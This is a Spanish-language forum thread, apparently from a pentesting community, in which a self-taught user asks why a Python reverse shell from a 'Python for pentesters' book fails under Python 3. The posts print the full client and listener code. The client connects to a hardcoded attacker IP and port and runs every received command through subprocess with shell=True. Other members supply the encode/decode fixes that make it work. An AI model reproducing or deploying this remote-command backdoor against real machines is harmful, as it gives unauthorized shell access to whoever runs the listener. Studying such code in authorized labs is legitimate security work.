error de python3 en sockets

Iniciado por oculto, Junio 28, 2020, 04:01:13 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 28, 2020, 04:01:13 PM Ultima modificación: Junio 28, 2020, 04:05:17 PM por oculto
¿alguien sabe por que en python3 me pasa este error?, estoy trabajando con sockets pero al momento de ejecutar el script me sale este error TypeError: a bytes-like object is required, not 'str', he intentado investigar sobre ello pero no logro encontrar información, solo se que es un error que pasa en python3 por cierto este es mi codigo

cliente
Código: python

import socket #para tener la conexion tcp
import subprocess # inicia la shell

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#inicia un objeto socket "s"
s.connect(("192.168.244.128",8080))# aqui definimos la ip del ataquante y el puerto de escucha

while True:# sigue recivoendo comando de la maquina atacante
command = s.recv(1024)

if 'terminate' in command: #si tenemos una orden de terminacion el proceso se cierra
s.close()
break
else: # de lo contrario,pasamos el comando recivido a un proceso de shell
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())#devuelve el resultado
s.send(CMD.stderr.read())#devuelve el error (si lo hay) como error syntax

def main():
connect()
main()


servidor:
Código: python

import socket

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #se inicia un objeto de socket "s"

s.bind(("192.168.244.128",8080))#defini el puerto y el ip a la escucha
s.listen(1)#define el tamaño de la reversa, ya que esperamos solo uno

print(' + esperando la coneccion tcp desde el puerto 8080')

conn,addr = s.accept()#accep() devolera el ID objeto de conexion (connn) y devolvera la direccion ip y el origen del cliente(ip,port)

print(' + conexion desde: ', addr)

while True:
command = input('shell> ')#obtiene la entrada del usuario y se almacena en una variable de comando

if 'terminate' in command: #si tenemos el comando de termninacion, informe al cliente y cierre el ciclo
conn.send('terminate')
conn.close()
break
else:
conn.send(command)#de lo contrario enviaremos el comando al objetivo
print(conn.recv(1024))#imprime el resultado que obtuvimos
def main():
connect()
main()


por cierto el código lo saque de el libro python para pentesters, pero como sabrán el código esta escrito en python2.
soy programador autodidacta ya que no estudio en una universidad o en alguna escuela de programación y debido a esto me cuesta un poco entender

Cada vez que use el método '.send(...)' necesita enviarlo como tipo 'bytes' el cual se haría con el método '.encode(...)'. Por ejemplo:

Línea 23 del código del servidor:
Código: python
conn.send(command.encode())


Le recomiendo lea una transición de Python 2 a la versión 3, ya que hubo muchas incompatibilidades en el código

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Muchas gracias amigo, me ha funcionado pero solo me funciona si ejecuto el servidor en windows y el cliente el linux, ya que al intentar ejecutar el servidor en linux y el cliente el windows me da este error en el lado del cliente TypeError('bytes args is not allowed on Windows')
y al intentar poner un comando en  la shell reversa de linux no me muestra nada mas que este texto b' '
Por cierto cabe mencionar que el error me lo especifica en esta linea

Código: python
			CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


la cual es la linea del lado del cliente

y pues así quedo al haber modificado el código:
                CLIENTE:

Código: python
import socket #para tener la conexion tcp
import subprocess # inicia la shell

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#inicia un objeto socket "s"
s.connect(("192.168.244.128",8080))# aqui definimos la ip del ataquante y el puerto de escucha

while True:# sigue recivoendo comando de la maquina atacante
command = s.recv(1024)
codi = 'terminate'.encode()
if codi in command: #si tenemos una orden de terminacion el proceso se cierra
s.close()
break
else: # de lo contrario,pasamos el comando recivido a un proceso de shell
CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
s.send(CMD.stdout.read())#devuelve el resultado
s.send(CMD.stderr.read())#devuelve el error (si lo hay) como error syntax

def main():
connect()
main()


SERVIDOR:
         
Código: python

import socket

def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #se inicia un objeto de socket "s"

s.bind(("192.168.244.128",8080))#defini el puerto y el ip a la escucha
s.listen(1)#define el tamaño de la reversa, ya que esperamos solo uno

print(' +  esperando la coneccion tcp desde el puerto 8080')

conn,addr = s.accept()#accep() devolera el ID objeto de conexion (connn) y devolvera la direccion ip y el origen del cliente(ip,port)

print(' + conexion desde: ', addr)

while True:
command = input('shell> ')#obtiene la entrada del usuario y se almacena en una variable de comando

if 'terminate' in command: #si tenemos el comando de termninacion, informe al cliente y cierre el ciclo
conn.send('terminate')
conn.close()
break
else:
conn.send(command.encode())#de lo contrario enviaremos el comando al objetivo
print(conn.recv(1024))#imprime el resultado que obtuvimos
def main():
connect()
main()


Junio 28, 2020, 06:58:24 PM #3 Ultima modificación: Junio 28, 2020, 07:07:45 PM por Kirari
Así como el compañero @No tienes permitido ver enlaces. Registrate o Entra a tu cuenta le dijo que pase la cadena a una de tipo bytes para enviar, al recibir el mensaje también hay que decodificarlo. Por lo que la cadena recibida que está en bytes, deberá pasarlo nuevamente a un string con codificación UTF-8 por default, de la siguiente manera:

Código: python
CMD = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)


Saludos!
-Kirari

Como te especificó el compañero @No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es necesario que uses la contraparte de '.encode(...)', o sea, '.decode(...)', ya que la función '.Popen(...)' acepta una cadena unicode (o simplemente llamada cadena) o un array (recomendable), por lo que te dará ese error hasta que lo corrijas.

También me estoy dando cuenta que sigues enviando datos que no son de tipo 'bytes'.

Línea 19 en el servidor:
Código: python
conn.send('terminate')


Te recomiendo los siguientes artículos si quieres aprender un poco de python mientras aprendes cómo crear una shell:

Uno: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Dos: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Además de esta pequeña shell que creo, te puede ser de utilidad igualmente:

Shell: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

Incluso te recomiendo leer la documentación misma de 'subprocess' y 'shlex':

subprocess: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
shlex: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

~ DtxdF
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF